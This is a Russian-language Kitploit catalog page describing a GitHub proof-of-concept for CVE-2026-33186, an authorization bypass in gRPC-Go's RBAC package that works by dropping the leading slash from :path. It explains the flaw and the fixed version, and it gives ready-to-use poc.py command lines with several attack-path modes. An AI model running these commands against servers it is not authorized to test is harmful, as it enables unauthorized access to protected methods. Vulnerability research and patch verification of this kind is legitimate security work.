Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33186 — gRPC-Go RBAC Обход политики авторизации через отсутствующий слеш `:path` (Auth Bypass) | Kitploit
Инструменты/GitHubGitHub/johanneslks/cve-2026-33186
Аутентификация и авторизацияЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеБезопасность API
GitHubjohanneslks/cve-2026-33186

CVE-2026-33186

gRPC-Go RBAC Обход политики авторизации через отсутствующий слеш `:path` (Auth Bypass)

Репозиторий
1123 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33186

gRPC-Go RBAC Authorization Policy Bypass via Missing :path Slash (Auth Bypass)

Описание

Пакет authz в google.golang.org/grpc реализует авторизацию RBAC на уровне SDK с использованием правил deny и allow, сопоставляемых с псевдозаголовком :path. Транспорт HTTP/2 сервера хранит необработанное значение :path от клиента без проверки того, что оно начинается с /. Уровень маршрутизации (handleStream) нормализует путь перед отправкой, но механизм RBAC читает значение до нормализации из контекста через grpc.Method(ctx).

Правила deny записываются как /Service/Method (с ведущим слэшем). Отправка :path = "Service/Method" (без слэша) приводит к тому, что правило deny не срабатывает при сравнении первого символа. Срабатывает правило allow по умолчанию, и защищённый метод выполняется.

Любой gRPC-сервер, использующий authz.NewStatic() или authz.NewFileWatcher() с правилами deny, уязвим. Для эксплуатации достаточно необработанного HTTP/2 клиента (Python h2, curl --http2 или любого пользовательского фрейм-райтера) — не требуются учётные данные или предыдущее состояние.

Проверка вживую на grpc-go v1.71.0 вернула статус gRPC 0 (OK) для заблокированного AdminMethod при отсутствии ведущего слэша, в то время как идентичный вызов с каноническим слэшем вернул статус 7 (PermissionDenied).

Затронуто: google.golang.org/grpc < v1.79.3. Исправлено в v1.79.3 (PR #8981).

Использование

# Install the Python HTTP/2 dependency:
pip install h2

# Against an existing vulnerable gRPC server:
python3 poc.py --host <HOST> --port <PORT>
python3 poc.py --host <HOST> --port <PORT> --service MyService --method SecretMethod

# When TCP destination and HTTP/2 authority differ:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
  --service MyService --method SecretMethod

# Canonical upstream malformed path:
python3 poc.py --host <HOST> --port <PORT> --path-mode no-slash

# Reverse-proxy deployments that preserve a double slash before grpc_pass:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
  --path-mode double-slash --service MyService --method SecretMethod

# Literal :path value when you already know the backend path shape:
python3 poc.py --host <VHOST> --connect-host <IP> --path-mode custom \
  --attack-path '//MyService/SecretMethod'

# Save a decoded successful attack response for follow-on manual use:
python3 poc.py --host <HOST> --port <PORT> --output-response /tmp/grpc-response.txt

--host управляет хостом :authority HTTP/2, если не задан --authority. --connect-host управляет TCP-назначением. Это полезно для конфигураций виртуальных хостов или обратных прокси, где доступный IP отличается от маршрутизируемой серверной authority.

Каноническая проблема grpc-go — --path-mode no-slash. double-slash и custom — общие вспомогательные режимы для сред, в которых прокси передаёт уязвимому бэкенду другую искажённую форму пути.

Требования

  • Атакующий: Python 3.8+, h2 (pip install h2)
  • Цель: gRPC-Go сервер, использующий пакет authz с правилами deny

Файлы

ФайлОписание
poc.pyPython PoC — отправляет 3 необработанных HTTP/2 вызова (базовый/атака/контроль) для доказательства обхода
README.mdДетали уязвимости, примеры использования и ссылки
LICENSEЛицензия GPLv3

Ссылки

  • https://github.com/grpc/grpc-go/security/advisories/GHSA-p77j-4mvh-x3m3
  • https://github.com/grpc/grpc-go/pull/8981

Юридическое уведомление

Этот проект выпущен под лицензией GNU GPLv3.

Он предоставляется для оборонительных исследований безопасности, обучения и авторизованного тестирования. Не используйте этот код против систем или сервисов без явного разрешения владельца.

Несанкционированное использование может нарушать действующее законодательство. Авторы не дают разрешения на тестирование сторонних систем и не несут ответственности за неправильное использование.

См. файл LICENSE для условий гарантии и ответственности.

Скачать инструмент